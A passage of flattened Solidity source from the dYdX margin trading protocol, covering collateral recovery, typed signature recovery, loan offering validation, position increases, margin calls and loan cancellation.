uint256(position.callTimestamp).add(position.callTimeLimit) ) || ( block.timestamp >= uint256(position.startTimestamp).add(position.maxDuration) ), "ForceRecoverCollateralImpl#forceRecoverCollateralImpl: Cannot recover yet" ); // Ensure lender consent forceRecoverCollateralOnBehalfOfRecurse( position.lender, msg.sender, positionId, recipient ); // Send the tokens uint256 heldTokenRecovered = MarginCommon.getPositionBalanceImpl(state, positionId); Vault(state.VAULT).transferFromVault( positionId, position.heldToken, recipient, heldTokenRecovered ); // Delete the position // NOTE: Since position is a storage pointer, this will also set all fields on // the position variable to 0 MarginCommon.cleanupPosition( state, positionId ); // Log an event emit CollateralForceRecovered( positionId, recipient, heldTokenRecovered ); return heldTokenRecovered; } // ============ Private Helper-Functions ============ function forceRecoverCollateralOnBehalfOfRecurse( address contractAddr, address recoverer, bytes32 positionId, address recipient ) private { // no need to ask for permission if (recoverer == contractAddr) { return; } address newContractAddr = ForceRecoverCollateralDelegator(contractAddr).forceRecoverCollateralOnBehalfOf( recoverer, positionId, recipient ); if (newContractAddr != contractAddr) { forceRecoverCollateralOnBehalfOfRecurse( newContractAddr, recoverer, positionId, recipient ); } } } // File: contracts/lib/TypedSignature.sol /** * @title TypedSignature * @author dYdX * * Allows for ecrecovery of signed hashes with three different prepended messages: * 1) "" * 2) "\x19Ethereum Signed Message:\n32" * 3) "\x19Ethereum Signed Message:\n\x20" */ library TypedSignature { // Solidity does not offer guarantees about enum values, so we define them explicitly uint8 private constant SIGTYPE_INVALID = 0; uint8 private constant SIGTYPE_ECRECOVER_DEC = 1; uint8 private constant SIGTYPE_ECRECOVER_HEX = 2; uint8 private constant SIGTYPE_UNSUPPORTED = 3; // prepended message with the length of the signed hash in hexadecimal bytes constant private PREPEND_HEX = "\x19Ethereum Signed Message:\n\x20"; // prepended message with the length of the signed hash in decimal bytes constant private PREPEND_DEC = "\x19Ethereum Signed Message:\n32"; /** * Gives the address of the signer of a hash. Allows for three common prepended strings. * * @param hash Hash that was signed (does not include prepended message) * @param signatureWithType Type and ECDSA signature with structure: {1:type}{1:v}{32:r}{32:s} * @return address of the signer of the hash */ function recover( bytes32 hash, bytes signatureWithType ) internal pure returns (address) { require( signatureWithType.length == 66, "SignatureValidator#validateSignature: invalid signature length" ); uint8 sigType = uint8(signatureWithType[0]); require( sigType > uint8(SIGTYPE_INVALID), "SignatureValidator#validateSignature: invalid signature type" ); require( sigType < uint8(SIGTYPE_UNSUPPORTED), "SignatureValidator#validateSignature: unsupported signature type" ); uint8 v = uint8(signatureWithType[1]); bytes32 r; bytes32 s; /* solium-disable-next-line security/no-inline-assembly */ assembly { r := mload(add(signatureWithType, 34)) s := mload(add(signatureWithType, 66)) } bytes32 signedHash; if (sigType == SIGTYPE_ECRECOVER_DEC) { signedHash = keccak256(abi.encodePacked(PREPEND_DEC, hash)); } else { assert(sigType == SIGTYPE_ECRECOVER_HEX); signedHash = keccak256(abi.encodePacked(PREPEND_HEX, hash)); } return ecrecover( signedHash, v, r, s ); } } // File: contracts/margin/interfaces/LoanOfferingVerifier.sol /** * @title LoanOfferingVerifier * @author dYdX * * Interface that smart contracts must implement to be able to make off-chain generated * loan offerings. * * NOTE: Any contract implementing this interface should also use OnlyMargin to control access * to these functions */ interface LoanOfferingVerifier { /** * Function a smart contract must implement to be able to consent to a loan. The loan offering * will be generated off-chain. The "loan owner" address will own the loan-side of the resulting * position. * * If true is returned, and no errors are thrown by the Margin contract, the loan will have * occurred. This means that verifyLoanOffering can also be used to update internal contract * state on a loan. * * @param addresses Array of addresses: * * [0] = owedToken * [1] = heldToken * [2] = loan payer * [3] = loan owner * [4] = loan taker * [5] = loan positionOwner * [6] = loan fee recipient * [7] = loan lender fee token * [8] = loan taker fee token * * @param values256 Values corresponding to: * * [0] = loan maximum amount * [1] = loan minimum amount * [2] = loan minimum heldToken * [3] = loan lender fee * [4] = loan taker fee * [5] = loan expiration timestamp (in seconds) * [6] = loan salt * * @param values32 Values corresponding to: * * [0] = loan call time limit (in seconds) * [1] = loan maxDuration (in seconds) * [2] = loan interest rate (annual nominal percentage times 10**6) * [3] = loan interest update period (in seconds) * * @param positionId Unique ID of the position * @param signature Arbitrary bytes; may or may not be an ECDSA signature * @return This address to accept, a different address to ask that contract */ function verifyLoanOffering( address[9] addresses, uint256[7] values256, uint32[4] values32, bytes32 positionId, bytes signature ) external /* onlyMargin */ returns (address); } // File: contracts/margin/impl/BorrowShared.sol /** * @title BorrowShared * @author dYdX * * This library contains shared functionality between OpenPositionImpl and IncreasePositionImpl. * Both use a Loan Offering and a DEX Order to open or increase a position. */ library BorrowShared { using SafeMath for uint256; // ============ Structs ============ struct Tx { bytes32 positionId; address owner; uint256 principal; uint256 lenderAmount; MarginCommon.LoanOffering loanOffering; address exchangeWrapper; bool depositInHeldToken; uint256 depositAmount; uint256 collateralAmount; uint256 heldTokenFromSell; } // ============ Internal Implementation Functions ============ /** * Validate the transaction before exchanging heldToken for owedToken */ function validateTxPreSell( MarginState.State storage state, Tx memory transaction ) internal { assert(transaction.lenderAmount >= transaction.principal); require( transaction.principal > 0, "BorrowShared#validateTxPreSell: Positions with 0 principal are not allowed" ); // If the taker is 0x0 then any address can take it. Otherwise only the taker can use it. if (transaction.loanOffering.taker != address(0)) { require( msg.sender == transaction.loanOffering.taker, "BorrowShared#validateTxPreSell: Invalid loan offering taker" ); } // If the positionOwner is 0x0 then any address can be set as the position owner. // Otherwise only the specified positionOwner can be set as the position owner. if (transaction.loanOffering.positionOwner != address(0)) { require( transaction.owner == transaction.loanOffering.positionOwner, "BorrowShared#validateTxPreSell: Invalid position owner" ); } // Require the loan offering to be approved by the payer if (AddressUtils.isContract(transaction.loanOffering.payer)) { getConsentFromSmartContractLender(transaction); } else { require( transaction.loanOffering.payer == TypedSignature.recover( transaction.loanOffering.loanHash, transaction.loanOffering.signature ), "BorrowShared#validateTxPreSell: Invalid loan offering signature" ); } // Validate the amount is <= than max and >= min uint256 unavailable = MarginCommon.getUnavailableLoanOfferingAmountImpl( state, transaction.loanOffering.loanHash ); require( transaction.lenderAmount.add(unavailable) <= transaction.loanOffering.rates.maxAmount, "BorrowShared#validateTxPreSell: Loan offering does not have enough available" ); require( transaction.lenderAmount >= transaction.loanOffering.rates.minAmount, "BorrowShared#validateTxPreSell: Lender amount is below loan offering minimum amount" ); require( transaction.loanOffering.owedToken != transaction.loanOffering.heldToken, "BorrowShared#validateTxPreSell: owedToken cannot be equal to heldToken" ); require( transaction.owner != address(0), "BorrowShared#validateTxPreSell: Position owner cannot be 0" ); require( transaction.loanOffering.owner != address(0), "BorrowShared#validateTxPreSell: Loan owner cannot be 0" ); require( transaction.loanOffering.expirationTimestamp > block.timestamp, "BorrowShared#validateTxPreSell: Loan offering is expired" ); require( transaction.loanOffering.maxDuration > 0, "BorrowShared#validateTxPreSell: Loan offering has 0 maximum duration" ); require( transaction.loanOffering.rates.interestPeriod <= transaction.loanOffering.maxDuration, "BorrowShared#validateTxPreSell: Loan offering interestPeriod > maxDuration" ); // The minimum heldToken is validated after executing the sell // Position and loan ownership is validated in TransferInternal } /** * Validate the transaction after exchanging heldToken for owedToken, pay out fees, and store * how much of the loan was used. */ function doPostSell( MarginState.State storage state, Tx memory transaction ) internal { validateTxPostSell(transaction); // Transfer feeTokens from trader and lender transferLoanFees(state, transaction); // Update global amounts for the loan state.loanFills[transaction.loanOffering.loanHash] = state.loanFills[transaction.loanOffering.loanHash].add(transaction.lenderAmount); } /** * Sells the owedToken from the lender (and from the deposit if in owedToken) using the * exchangeWrapper, then puts the resulting heldToken into the vault. Only trades for * maxHeldTokenToBuy of heldTokens at most. */ function doSell( MarginState.State storage state, Tx transaction, bytes orderData, uint256 maxHeldTokenToBuy ) internal returns (uint256) { // Move owedTokens from lender to exchange wrapper pullOwedTokensFromLender(state, transaction); // Sell just the lender's owedToken (if trader deposit is in heldToken) // Otherwise sell both the lender's owedToken and the trader's deposit in owedToken uint256 sellAmount = transaction.depositInHeldToken ? transaction.lenderAmount : transaction.lenderAmount.add(transaction.depositAmount); // Do the trade, taking only the maxHeldTokenToBuy if more is returned uint256 heldTokenFromSell = Math.min256( maxHeldTokenToBuy, ExchangeWrapper(transaction.exchangeWrapper).exchange( msg.sender, state.TOKEN_PROXY, transaction.loanOffering.heldToken, transaction.loanOffering.owedToken, sellAmount, orderData ) ); // Move the tokens to the vault Vault(state.VAULT).transferToVault( transaction.positionId, transaction.loanOffering.heldToken, transaction.exchangeWrapper, heldTokenFromSell ); // Update collateral amount transaction.collateralAmount = transaction.collateralAmount.add(heldTokenFromSell); return heldTokenFromSell; } /** * Take the owedToken deposit from the trader and give it to the exchange wrapper so that it can * be sold for heldToken. */ function doDepositOwedToken( MarginState.State storage state, Tx transaction ) internal { TokenProxy(state.TOKEN_PROXY).transferTokens( transaction.loanOffering.owedToken, msg.sender, transaction.exchangeWrapper, transaction.depositAmount ); } /** * Take the heldToken deposit from the trader and move it to the vault. */ function doDepositHeldToken( MarginState.State storage state, Tx transaction ) internal { Vault(state.VAULT).transferToVault( transaction.positionId, transaction.loanOffering.heldToken, msg.sender, transaction.depositAmount ); // Update collateral amount transaction.collateralAmount = transaction.collateralAmount.add(transaction.depositAmount); } // ============ Private Helper-Functions ============ function validateTxPostSell( Tx transaction ) private pure { uint256 expectedCollateral = transaction.depositInHeldToken ? transaction.heldTokenFromSell.add(transaction.depositAmount) : transaction.heldTokenFromSell; assert(transaction.collateralAmount == expectedCollateral); uint256 loanOfferingMinimumHeldToken = MathHelpers.getPartialAmountRoundedUp( transaction.lenderAmount, transaction.loanOffering.rates.maxAmount, transaction.loanOffering.rates.minHeldToken ); require( transaction.collateralAmount >= loanOfferingMinimumHeldToken, "BorrowShared#validateTxPostSell: Loan offering minimum held token not met" ); } function getConsentFromSmartContractLender( Tx transaction ) private { verifyLoanOfferingRecurse( transaction.loanOffering.payer, getLoanOfferingAddresses(transaction), getLoanOfferingValues256(transaction), getLoanOfferingValues32(transaction), transaction.positionId, transaction.loanOffering.signature ); } function verifyLoanOfferingRecurse( address contractAddr, address[9] addresses, uint256[7] values256, uint32[4] values32, bytes32 positionId, bytes signature ) private { address newContractAddr = LoanOfferingVerifier(contractAddr).verifyLoanOffering( addresses, values256, values32, positionId, signature ); if (newContractAddr != contractAddr) { verifyLoanOfferingRecurse( newContractAddr, addresses, values256, values32, positionId, signature ); } } function pullOwedTokensFromLender( MarginState.State storage state, Tx transaction ) private { // Transfer owedToken to the exchange wrapper TokenProxy(state.TOKEN_PROXY).transferTokens( transaction.loanOffering.owedToken, transaction.loanOffering.payer, transaction.exchangeWrapper, transaction.lenderAmount ); } function transferLoanFees( MarginState.State storage state, Tx transaction ) private { // 0 fee address indicates no fees if (transaction.loanOffering.feeRecipient == address(0)) { return; } TokenProxy proxy = TokenProxy(state.TOKEN_PROXY); uint256 lenderFee = MathHelpers.getPartialAmount( transaction.lenderAmount, transaction.loanOffering.rates.maxAmount, transaction.loanOffering.rates.lenderFee ); uint256 takerFee = MathHelpers.getPartialAmount( transaction.lenderAmount, transaction.loanOffering.rates.maxAmount, transaction.loanOffering.rates.takerFee ); if (lenderFee > 0) { proxy.transferTokens( transaction.loanOffering.lenderFeeToken, transaction.loanOffering.payer, transaction.loanOffering.feeRecipient, lenderFee ); } if (takerFee > 0) { proxy.transferTokens( transaction.loanOffering.takerFeeToken, msg.sender, transaction.loanOffering.feeRecipient, takerFee ); } } function getLoanOfferingAddresses( Tx transaction ) private pure returns (address[9]) { return [ transaction.loanOffering.owedToken, transaction.loanOffering.heldToken, transaction.loanOffering.payer, transaction.loanOffering.owner, transaction.loanOffering.taker, transaction.loanOffering.positionOwner, transaction.loanOffering.feeRecipient, transaction.loanOffering.lenderFeeToken, transaction.loanOffering.takerFeeToken ]; } function getLoanOfferingValues256( Tx transaction ) private pure returns (uint256[7]) { return [ transaction.loanOffering.rates.maxAmount, transaction.loanOffering.rates.minAmount, transaction.loanOffering.rates.minHeldToken, transaction.loanOffering.rates.lenderFee, transaction.loanOffering.rates.takerFee, transaction.loanOffering.expirationTimestamp, transaction.loanOffering.salt ]; } function getLoanOfferingValues32( Tx transaction ) private pure returns (uint32[4]) { return [ transaction.loanOffering.callTimeLimit, transaction.loanOffering.maxDuration, transaction.loanOffering.rates.interestRate, transaction.loanOffering.rates.interestPeriod ]; } } // File: contracts/margin/interfaces/lender/IncreaseLoanDelegator.sol /** * @title IncreaseLoanDelegator * @author dYdX * * Interface that smart contracts must implement in order to own loans on behalf of other accounts. * * NOTE: Any contract implementing this interface should also use OnlyMargin to control access * to these functions */ interface IncreaseLoanDelegator { // ============ Public Interface functions ============ /** * Function a contract must implement in order to allow additional value to be added onto * an owned loan. Margin will call this on the owner of a loan during increasePosition(). * * NOTE: If not returning zero (or not reverting), this contract must assume that Margin will * either revert the entire transaction or that the loan size was successfully increased. * * @param payer Lender adding additional funds to the position * @param positionId Unique ID of the position * @param principalAdded Principal amount to be added to the position * @param lentAmount Amount of owedToken lent by the lender (principal plus interest, or * zero if increaseWithoutCounterparty() is used). * @return This address to accept, a different address to ask that contract */ function increaseLoanOnBehalfOf( address payer, bytes32 positionId, uint256 principalAdded, uint256 lentAmount ) external /* onlyMargin */ returns (address); } // File: contracts/margin/interfaces/owner/IncreasePositionDelegator.sol /** * @title IncreasePositionDelegator * @author dYdX * * Interface that smart contracts must implement in order to own position on behalf of other * accounts * * NOTE: Any contract implementing this interface should also use OnlyMargin to control access * to these functions */ interface IncreasePositionDelegator { // ============ Public Interface functions ============ /** * Function a contract must implement in order to allow additional value to be added onto * an owned position. Margin will call this on the owner of a position during increasePosition() * * NOTE: If not returning zero (or not reverting), this contract must assume that Margin will * either revert the entire transaction or that the position size was successfully increased. * * @param trader Address initiating the addition of funds to the position * @param positionId Unique ID of the position * @param principalAdded Amount of principal to be added to the position * @return This address to accept, a different address to ask that contract */ function increasePositionOnBehalfOf( address trader, bytes32 positionId, uint256 principalAdded ) external /* onlyMargin */ returns (address); } // File: contracts/margin/impl/IncreasePositionImpl.sol /** * @title IncreasePositionImpl * @author dYdX * * This library contains the implementation for the increasePosition function of Margin */ library IncreasePositionImpl { using SafeMath for uint256; // ============ Events ============ /* * A position was increased */ event PositionIncreased( bytes32 indexed positionId, address indexed trader, address indexed lender, address positionOwner, address loanOwner, bytes32 loanHash, address loanFeeRecipient, uint256 amountBorrowed, uint256 principalAdded, uint256 heldTokenFromSell, uint256 depositAmount, bool depositInHeldToken ); // ============ Public Implementation Functions ============ function increasePositionImpl( MarginState.State storage state, bytes32 positionId, address[7] addresses, uint256[8] values256, uint32[2] values32, bool depositInHeldToken, bytes signature, bytes orderData ) public returns (uint256) { // Also ensures that the position exists MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); BorrowShared.Tx memory transaction = parseIncreasePositionTx( position, positionId, addresses, values256, values32, depositInHeldToken, signature ); validateIncrease(state, transaction, position); doBorrowAndSell(state, transaction, orderData); updateState( position, transaction.positionId, transaction.principal, transaction.lenderAmount, transaction.loanOffering.payer ); // LOG EVENT recordPositionIncreased(transaction, position); return transaction.lenderAmount; } function increaseWithoutCounterpartyImpl( MarginState.State storage state, bytes32 positionId, uint256 principalToAdd ) public returns (uint256) { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); // Disallow adding 0 principal require( principalToAdd > 0, "IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot add 0 principal" ); // Disallow additions after maximum duration require( block.timestamp < uint256(position.startTimestamp).add(position.maxDuration), "IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot increase after maxDuration" ); uint256 heldTokenAmount = getCollateralNeededForAddedPrincipal( state, position, positionId, principalToAdd ); Vault(state.VAULT).transferToVault( positionId, position.heldToken, msg.sender, heldTokenAmount ); updateState( position, positionId, principalToAdd, 0, // lent amount msg.sender ); emit PositionIncreased( positionId, msg.sender, msg.sender, position.owner, position.lender, "", address(0), 0, principalToAdd, 0, heldTokenAmount, true ); return heldTokenAmount; } // ============ Private Helper-Functions ============ function doBorrowAndSell( MarginState.State storage state, BorrowShared.Tx memory transaction, bytes orderData ) private { // Calculate the number of heldTokens to add uint256 collateralToAdd = getCollateralNeededForAddedPrincipal( state, state.positions[transaction.positionId], transaction.positionId, transaction.principal ); // Do pre-exchange validations BorrowShared.validateTxPreSell(state, transaction); // Calculate and deposit owedToken uint256 maxHeldTokenFromSell = MathHelpers.maxUint256(); if (!transaction.depositInHeldToken) { transaction.depositAmount = getOwedTokenDeposit(transaction, collateralToAdd, orderData); BorrowShared.doDepositOwedToken(state, transaction); maxHeldTokenFromSell = collateralToAdd; } // Sell owedToken for heldToken using the exchange wrapper transaction.heldTokenFromSell = BorrowShared.doSell( state, transaction, orderData, maxHeldTokenFromSell ); // Calculate and deposit heldToken if (transaction.depositInHeldToken) { require( transaction.heldTokenFromSell <= collateralToAdd, "IncreasePositionImpl#doBorrowAndSell: DEX order gives too much heldToken" ); transaction.depositAmount = collateralToAdd.sub(transaction.heldTokenFromSell); BorrowShared.doDepositHeldToken(state, transaction); } // Make sure the actual added collateral is what is expected assert(transaction.collateralAmount == collateralToAdd); // Do post-exchange validations BorrowShared.doPostSell(state, transaction); } function getOwedTokenDeposit( BorrowShared.Tx transaction, uint256 collateralToAdd, bytes orderData ) private view returns (uint256) { uint256 totalOwedToken = ExchangeWrapper(transaction.exchangeWrapper).getExchangeCost( transaction.loanOffering.heldToken, transaction.loanOffering.owedToken, collateralToAdd, orderData ); require( transaction.lenderAmount <= totalOwedToken, "IncreasePositionImpl#getOwedTokenDeposit: Lender amount is more than required" ); return totalOwedToken.sub(transaction.lenderAmount); } function validateIncrease( MarginState.State storage state, BorrowShared.Tx transaction, MarginCommon.Position storage position ) private view { assert(MarginCommon.containsPositionImpl(state, transaction.positionId)); require( position.callTimeLimit <= transaction.loanOffering.callTimeLimit, "IncreasePositionImpl#validateIncrease: Loan callTimeLimit is less than the position" ); // require the position to end no later than the loanOffering's maximum acceptable end time uint256 positionEndTimestamp = uint256(position.startTimestamp).add(position.maxDuration); uint256 offeringEndTimestamp = block.timestamp.add(transaction.loanOffering.maxDuration); require( positionEndTimestamp <= offeringEndTimestamp, "IncreasePositionImpl#validateIncrease: Loan end timestamp is less than the position" ); require( block.timestamp < positionEndTimestamp, "IncreasePositionImpl#validateIncrease: Position has passed its maximum duration" ); } function getCollateralNeededForAddedPrincipal( MarginState.State storage state, MarginCommon.Position storage position, bytes32 positionId, uint256 principalToAdd ) private view returns (uint256) { uint256 heldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId); return MathHelpers.getPartialAmountRoundedUp( principalToAdd, position.principal, heldTokenBalance ); } function updateState( MarginCommon.Position storage position, bytes32 positionId, uint256 principalAdded, uint256 owedTokenLent, address loanPayer ) private { position.principal = position.principal.add(principalAdded); address owner = position.owner; address lender = position.lender; // Ensure owner consent increasePositionOnBehalfOfRecurse( owner, msg.sender, positionId, principalAdded ); // Ensure lender consent increaseLoanOnBehalfOfRecurse( lender, loanPayer, positionId, principalAdded, owedTokenLent ); } function increasePositionOnBehalfOfRecurse( address contractAddr, address trader, bytes32 positionId, uint256 principalAdded ) private { // Assume owner approval if not a smart contract and they increased their own position if (trader == contractAddr && !AddressUtils.isContract(contractAddr)) { return; } address newContractAddr = IncreasePositionDelegator(contractAddr).increasePositionOnBehalfOf( trader, positionId, principalAdded ); if (newContractAddr != contractAddr) { increasePositionOnBehalfOfRecurse( newContractAddr, trader, positionId, principalAdded ); } } function increaseLoanOnBehalfOfRecurse( address contractAddr, address payer, bytes32 positionId, uint256 principalAdded, uint256 amountLent ) private { // Assume lender approval if not a smart contract and they increased their own loan if (payer == contractAddr && !AddressUtils.isContract(contractAddr)) { return; } address newContractAddr = IncreaseLoanDelegator(contractAddr).increaseLoanOnBehalfOf( payer, positionId, principalAdded, amountLent ); if (newContractAddr != contractAddr) { increaseLoanOnBehalfOfRecurse( newContractAddr, payer, positionId, principalAdded, amountLent ); } } function recordPositionIncreased( BorrowShared.Tx transaction, MarginCommon.Position storage position ) private { emit PositionIncreased( transaction.positionId, msg.sender, transaction.loanOffering.payer, position.owner, position.lender, transaction.loanOffering.loanHash, transaction.loanOffering.feeRecipient, transaction.lenderAmount, transaction.principal, transaction.heldTokenFromSell, transaction.depositAmount, transaction.depositInHeldToken ); } // ============ Parsing Functions ============ function parseIncreasePositionTx( MarginCommon.Position storage position, bytes32 positionId, address[7] addresses, uint256[8] values256, uint32[2] values32, bool depositInHeldToken, bytes signature ) private view returns (BorrowShared.Tx memory) { uint256 principal = values256[7]; uint256 lenderAmount = MarginCommon.calculateLenderAmountForIncreasePosition( position, principal, block.timestamp ); assert(lenderAmount >= principal); BorrowShared.Tx memory transaction = BorrowShared.Tx({ positionId: positionId, owner: position.owner, principal: principal, lenderAmount: lenderAmount, loanOffering: parseLoanOfferingFromIncreasePositionTx( position, addresses, values256, values32, signature ), exchangeWrapper: addresses[6], depositInHeldToken: depositInHeldToken, depositAmount: 0, // set later collateralAmount: 0, // set later heldTokenFromSell: 0 // set later }); return transaction; } function parseLoanOfferingFromIncreasePositionTx( MarginCommon.Position storage position, address[7] addresses, uint256[8] values256, uint32[2] values32, bytes signature ) private view returns (MarginCommon.LoanOffering memory) { MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({ owedToken: position.owedToken, heldToken: position.heldToken, payer: addresses[0], owner: position.lender, taker: addresses[1], positionOwner: addresses[2], feeRecipient: addresses[3], lenderFeeToken: addresses[4], takerFeeToken: addresses[5], rates: parseLoanOfferingRatesFromIncreasePositionTx(position, values256), expirationTimestamp: values256[5], callTimeLimit: values32[0], maxDuration: values32[1], salt: values256[6], loanHash: 0, signature: signature }); loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering); return loanOffering; } function parseLoanOfferingRatesFromIncreasePositionTx( MarginCommon.Position storage position, uint256[8] values256 ) private view returns (MarginCommon.LoanRates memory) { MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({ maxAmount: values256[0], minAmount: values256[1], minHeldToken: values256[2], lenderFee: values256[3], takerFee: values256[4], interestRate: position.interestRate, interestPeriod: position.interestPeriod }); return rates; } } // File: contracts/margin/impl/MarginStorage.sol /** * @title MarginStorage * @author dYdX * * This contract serves as the storage for the entire state of MarginStorage */ contract MarginStorage { MarginState.State state; } // File: contracts/margin/impl/LoanGetters.sol /** * @title LoanGetters * @author dYdX * * A collection of public constant getter functions that allows reading of the state of any loan * offering stored in the dYdX protocol. */ contract LoanGetters is MarginStorage { // ============ Public Constant Functions ============ /** * Gets the principal amount of a loan offering that is no longer available. * * @param loanHash Unique hash of the loan offering * @return The total unavailable amount of the loan offering, which is equal to the * filled amount plus the canceled amount. */ function getLoanUnavailableAmount( bytes32 loanHash ) external view returns (uint256) { return MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanHash); } /** * Gets the total amount of owed token lent for a loan. * * @param loanHash Unique hash of the loan offering * @return The total filled amount of the loan offering. */ function getLoanFilledAmount( bytes32 loanHash ) external view returns (uint256) { return state.loanFills[loanHash]; } /** * Gets the amount of a loan offering that has been canceled. * * @param loanHash Unique hash of the loan offering * @return The total canceled amount of the loan offering. */ function getLoanCanceledAmount( bytes32 loanHash ) external view returns (uint256) { return state.loanCancels[loanHash]; } } // File: contracts/margin/interfaces/lender/CancelMarginCallDelegator.sol /** * @title CancelMarginCallDelegator * @author dYdX * * Interface that smart contracts must implement in order to let other addresses cancel a * margin-call for a loan owned by the smart contract. * * NOTE: Any contract implementing this interface should also use OnlyMargin to control access * to these functions */ interface CancelMarginCallDelegator { // ============ Public Interface functions ============ /** * Function a contract must implement in order to let other addresses call cancelMarginCall(). * * NOTE: If not returning zero (or not reverting), this contract must assume that Margin will * either revert the entire transaction or that the margin-call was successfully canceled. * * @param canceler Address of the caller of the cancelMarginCall function * @param positionId Unique ID of the position * @return This address to accept, a different address to ask that contract */ function cancelMarginCallOnBehalfOf( address canceler, bytes32 positionId ) external /* onlyMargin */ returns (address); } // File: contracts/margin/interfaces/lender/MarginCallDelegator.sol /** * @title MarginCallDelegator * @author dYdX * * Interface that smart contracts must implement in order to let other addresses margin-call a loan * owned by the smart contract. * * NOTE: Any contract implementing this interface should also use OnlyMargin to control access * to these functions */ interface MarginCallDelegator { // ============ Public Interface functions ============ /** * Function a contract must implement in order to let other addresses call marginCall(). * * NOTE: If not returning zero (or not reverting), this contract must assume that Margin will * either revert the entire transaction or that the loan was successfully margin-called. * * @param caller Address of the caller of the marginCall function * @param positionId Unique ID of the position * @param depositAmount Amount of heldToken deposit that will be required to cancel the call * @return This address to accept, a different address to ask that contract */ function marginCallOnBehalfOf( address caller, bytes32 positionId, uint256 depositAmount ) external /* onlyMargin */ returns (address); } // File: contracts/margin/impl/LoanImpl.sol /** * @title LoanImpl * @author dYdX * * This library contains the implementation for the following functions of Margin: * * - marginCall * - cancelMarginCallImpl * - cancelLoanOffering */ library LoanImpl { using SafeMath for uint256; // ============ Events ============ /** * A position was margin-called */ event MarginCallInitiated( bytes32 indexed positionId, address indexed lender, address indexed owner, uint256 requiredDeposit ); /** * A margin call was canceled */ event MarginCallCanceled( bytes32 indexed positionId, address indexed lender, address indexed owner, uint256 depositAmount ); /** * A loan offering was canceled before it was used. Any amount less than the * total for the loan offering can be canceled. */ event LoanOfferingCanceled( bytes32 indexed loanHash, address indexed payer, address indexed feeRecipient, uint256 cancelAmount ); // ============ Public Implementation Functions ============ function marginCallImpl( MarginState.State storage state, bytes32 positionId, uint256 requiredDeposit ) public { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); require( position.callTimestamp == 0, "LoanImpl#marginCallImpl: The position has already been margin-called" ); // Ensure lender consent marginCallOnBehalfOfRecurse( position.lender, msg.sender, positionId, requiredDeposit ); position.callTimestamp = TimestampHelper.getBlockTimestamp32(); position.requiredDeposit = requiredDeposit; emit MarginCallInitiated( positionId, position.lender, position.owner, requiredDeposit ); } function cancelMarginCallImpl( MarginState.State storage state, bytes32 positionId ) public { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); require( position.callTimestamp > 0, "LoanImpl#cancelMarginCallImpl: Position has not been margin-called" ); // Ensure lender consent cancelMarginCallOnBehalfOfRecurse( position.lender, msg.sender, positionId ); state.positions[positionId].callTimestamp = 0; state.positions[positionId].requiredDeposit = 0; emit MarginCallCanceled( positionId, position.lender, position.owner, 0 ); } function cancelLoanOfferingImpl( MarginState.State storage state, address[9] addresses, uint256[7] values256, uint32[4] values32, uint256 cancelAmount ) public returns (uint256) { MarginCommon.LoanOffering memory loanOffering = parseLoanOffering( addresses, values256, values32 ); require( msg.sender == loanOffering.payer, "LoanImpl#cancelLoanOfferingImpl: Only loan offering payer can cancel" ); require( loanOffering.expirationTimestamp > block.timestamp, "LoanImpl#cancelLoanOfferingImpl: Loan offering has already expired" ); uint256 remainingAmount = loanOffering.rates.maxAmount.sub( MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanOffering.loanHash) ); uint256 amountToCancel = Math.min256(remainingAmount, cancelAmount); // If the loan was already fully canceled, then just return 0 amount was canceled if (amountToCancel == 0) { return 0; } state.loanCancels[loanOffering.loanHash] = state.loanCancels[loanOffering.loanHash].add(amountToCancel); emit LoanOfferingCanceled( loanOffering.loanHash, loanOffering.payer, loanOffering.feeRecipient, amountToCancel ); return amountToCancel; } // ============ Private Helper-Functions ============ function marginCallOnBehalfOfRecurse( address contractAddr, address who, bytes32 positionId, uint256 requiredDeposit ) private { // no need to ask for permission if (who == contractAddr) { return; } address newContractAddr = MarginCallDelegator(contractAddr).marginCallOnBehalfOf( msg.sender, positionId, requiredDeposit ); if (newContractAddr != contractAddr) { marginCallOnBehalfOfRecurse( newContractAddr, who, positionId, requiredDeposit ); } } function cancelMarginCallOnBehalfOfRecurse( address contractAddr, address who, bytes32 positionId ) private { // no need to ask for permission if (who == contractAddr) { return; } address newContractAddr = CancelMarginCallDelegator(contractAddr).cancelMarginCallOnBehalfOf( msg.sender, positionId ); if (newContractAddr != contractAddr) { cancelMarginCallOnBehalfOfRecurse( newContractAddr, who, positionId ); } } // ============ Parsing Functions ============ function parseLoanOffering( address[9] addresses, uint256[7] values256, uint32[4] values32 ) private view returns (MarginCommon.LoanOffering memory) { MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({ owedToken: addresses[0], heldToken: addresses[1], payer: addresses[2], owner: addresses[3], taker: addresses[4], positionOwner: addresses[5], feeRecipient: addresses[6], lenderFeeToken: addresses[7], takerFeeToken: addresses[8], rates: parseLoanOfferRates(values256, values32), expirationTimestamp: values256[5], callTimeLimit: values32[0], maxDuration: values32[1], salt: values256[6], loanHash: 0, signature: new bytes(0) }); loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering); return loanOffering; } function parseLoanOfferRates( uint256[7] values256, uint32[4] values32 ) private pure returns (MarginCommon.LoanRates memory) { MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({ maxAmount: values256[0], minAmount: values256[1], minHeldToken: values256[2], interestRate: values32[2], lenderFee: values256[3], takerFee: values256[4], interestPeriod: values32[3] }); return rates; } } // File: contracts/margin/impl/MarginAdmin.sol /** * @title MarginAdmin * @author dYdX * * Contains admin functions for the Margin contract * The owner can put Margin into various close-only modes, which will disallow new position creation */ contract MarginAdmin is Ownable { // ============ Enums ============ // All functionality enabled uint8 private constant OPERATION_STATE_OPERATIONAL = 0; // Only closing functions + cancelLoanOffering allowed (marginCall, closePosition, // cancelLoanOffering, closePositionDirectly, forceRecoverCollateral) uint8 private constant OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY = 1; // Only closing functions allowed (marginCall, closePosition, closePositionDirectly, // 